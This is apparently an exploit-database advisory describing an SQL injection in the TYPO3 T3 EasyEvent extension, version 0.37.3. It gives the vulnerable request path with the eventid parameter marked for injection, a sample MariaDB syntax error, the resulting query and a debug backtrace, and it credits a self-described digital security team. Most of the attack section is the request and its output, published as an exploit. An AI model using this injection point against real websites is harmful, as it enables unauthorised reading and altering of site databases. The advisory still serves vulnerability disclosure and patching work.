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# Exploit Title : Typo3 CMS T3 EasyEvent tx_easyevent_pi1 0.37.3 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/02/2019
# Vendor Homepage : typo3.org
# Software Download Link : github.com/dwenzel/t3events/archive/master.zip
github.com/CMSExperts/simpleevents/archive/master.zip
# Software Information Link : extensions.typo3.org/extension/t3events/
github.com/CMSExperts
# Software Version : 0.37.3
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Description about Software :
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Manage events, show teasers - puzzles, list and single views.

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# Impact :
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* Typo3 T3 EasyEvents 0.37.3 extension for TYPO3 is prone to 

an SQL-injection vulnerability because it fails to sufficiently sanitize 

user-supplied data before using it in an SQL query. 

Exploiting this issue could allow an attacker to compromise the application, 

access or modify data, or exploit latent vulnerabilities in the underlying database.

A remote attacker can send a specially crafted request to the vulnerable application 

and execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.

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# SQL Injection Exploit :
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/index.php?id=[ID-NUMBER]&no_cache=[ID-NUMBER]&tx_easyevent_pi1%5Bmode%5D=register&tx_easyevent_pi1%5Bdateid%5D=[ID-NUMBER]&tx_easyevent_pi1%5Beventid%5D=[SQL Injection]

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# Example SQL Database Error :
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exec_SELECTquery
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caller
******  
TYPO3\CMS\Core\Database\DatabaseConnection::exec_SELECTquery

ERROR
*********  
You have an error in your SQL syntax; check the manual that corresponds to your 
MariaDB server version for the right syntax to use near ') AND uid =1022 AND pid IN 
(232) ORDER BY startdate ASC' at line 1

lastBuiltQuery
*************  
SELECT * FROM tx_easyevent_date WHERE hidden=0 AND 
deleted=0 AND uid IN() AND uid =1022 AND pid IN (232) ORDER BY startdate ASC

debug_backtrace
****************  
require(typo3_src/typo3/sysext/cms/tslib/index_ts.php),typo3_src
/index.php#28 // TYPO3\CMS\Frontend\Page\PageGenerator::renderContent#212 
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGet#215 
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#697 
// TYPO3\CMS\Frontend\ContentObject\TemplateContentObject->render#752 
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#128 
// TYPO3\CMS\Frontend\ContentObject\ContentContentObject->render#752 
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#107 
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#734 
// TYPO3\CMS\Frontend\ContentObject\CaseContentObject->render#752 
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#45
 // TYPO3\CMS\Frontend\ContentObject\ContentObjectArrayContentObject->render#752
 // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGet#40 
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#697 
// TYPO3\CMS\Frontend\ContentObject\CaseContentObject->render#752 // 
TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#45 
// TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->cObjGetSingle#734 
// TYPO3\CMS\Frontend\ContentObject\UserContentObject->render#752
 // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->callUserFunction#41
 // call_user_func_array#6665 // tx_easyevent_pi1->main# // tx_easyevent_pi1->registerView#75
 // TYPO3\CMS\Core\Database\DatabaseConnection->exec_SELECTgetRows#360 
// TYPO3\CMS\Core\Database\DatabaseConnection->exec_SELECTquery#370
 // TYPO3\CMS\Core\Database\DatabaseConnection->debug#305

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

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